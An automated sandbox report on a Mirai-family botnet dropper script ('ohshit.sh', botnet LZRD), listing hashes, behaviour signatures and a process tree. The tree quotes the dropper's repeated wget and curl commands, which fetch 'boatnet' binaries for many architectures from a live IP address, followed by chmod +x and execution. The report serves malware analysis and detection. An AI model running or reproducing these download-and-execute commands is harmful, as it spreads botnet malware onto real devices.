Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    23-12-2024 05:05

General

  • Target

    ohshit.sh

  • Size

    3KB

  • MD5

    e0ccd217979419469e913cbef10872f3

  • SHA1

    6bbef022dcf450af81bee90522e4c82069c84064

  • SHA256

    288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71

  • SHA512

    38402719e384396071ab1f779eb0d67a55570ecfb04018e47cafdfd73ce04984e15c0d2942b446cee5652a449e22a8690812dbe5fd232736cb8a3939531255ce

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1486
    • /usr/bin/wget
      wget http://154.213.187.234:3000/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1487
    • /usr/bin/curl
      curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1492
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1493
      • /bin/chmod
        chmod +x boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1494
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1495
      • /usr/bin/wget
        wget http://154.213.187.234:3000/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1499
      • /usr/bin/curl
        curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1500
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1502
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1503
      • /usr/bin/wget
        wget http://154.213.187.234:3000/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1507
      • /usr/bin/curl
        curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1508
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1510
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1511
      • /usr/bin/wget
        wget http://154.213.187.234:3000/hiddenbin/boatnet.i468
        2⤵
          PID:1515
        • /usr/bin/curl
          curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1516
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1518
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1519
        • /usr/bin/wget
          wget http://154.213.187.234:3000/hiddenbin/boatnet.i686
          2⤵
            PID:1523
          • /usr/bin/curl
            curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1524
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1526
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1527
          • /usr/bin/wget
            wget http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
            2⤵
              PID:1531
            • /usr/bin/curl
              curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1532
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-6G729x systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1534
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1535
            • /usr/bin/wget
              wget http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1539
            • /usr/bin/curl
              curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1540
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1544
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1545
            • /usr/bin/wget
              wget http://154.213.187.234:3000/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1549
            • /usr/bin/curl
              curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1554
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-VOEMpB systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1556
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1557
            • /usr/bin/wget
              wget http://154.213.187.234:3000/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1561
            • /usr/bin/curl
              curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1564
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1566
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1567
            • /usr/bin/wget
              wget http://154.213.187.234:3000/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1571
            • /usr/bin/curl
              curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1576
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-bolt.service-xTGJtC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-timedated.service-UgEp34 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1578
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1579
            • /usr/bin/wget
              wget http://154.213.187.234:3000/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1583
            • /usr/bin/curl
              curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1646
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1648
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1649
            • /usr/bin/wget
              wget http://154.213.187.234:3000/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1653
            • /usr/bin/curl
              curl -O http://154.213.187.234:3000/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1654
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1656
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1657
            • /usr/bin/wget
              wget http://154.213.187.234:3000/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1661
            • /usr/bin/curl
              curl -O http://154.213.187.234:3000/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1662
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1664
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1665
            • /usr/bin/wget
              wget http://154.213.187.234:3000/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1669
            • /usr/bin/curl
              curl -O http://154.213.187.234:3000/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1670
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1672
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1673
            • /usr/bin/wget
              wget http://154.213.187.234:3000/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1677
            • /usr/bin/curl
              curl -O http://154.213.187.234:3000/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1678
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-eBgUu0 netplan_lclepcne ohshit.sh snap-private-tmp ssh-w2DkUwMvVabC systemd-private-c8662c6176344cfb8cfaf89749cac76c-colord.service-AEFPDD systemd-private-c8662c6176344cfb8cfaf89749cac76c-ModemManager.service-66xRkY systemd-private-c8662c6176344cfb8cfaf89749cac76c-systemd-resolved.service-YkivNc WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1680
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1681

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            20KB

            MD5

            cfdee595514f89c9e1ca4c3c26837bb6

            SHA1

            726f957189f0ce2da9008987aaa7f51453ede884

            SHA256

            4940c3107a34d4b65f81e5e5e7a54f31fce9417fe74d18dd6e6b104d07197a3d

            SHA512

            07cd565d04eeef92d3bf0613413d2c63bc045d6093bb048118b3f80254701c9aaef7dac444dc39ced7c2297754d7dbe1da4f808a6e2e87727f9272b436fea226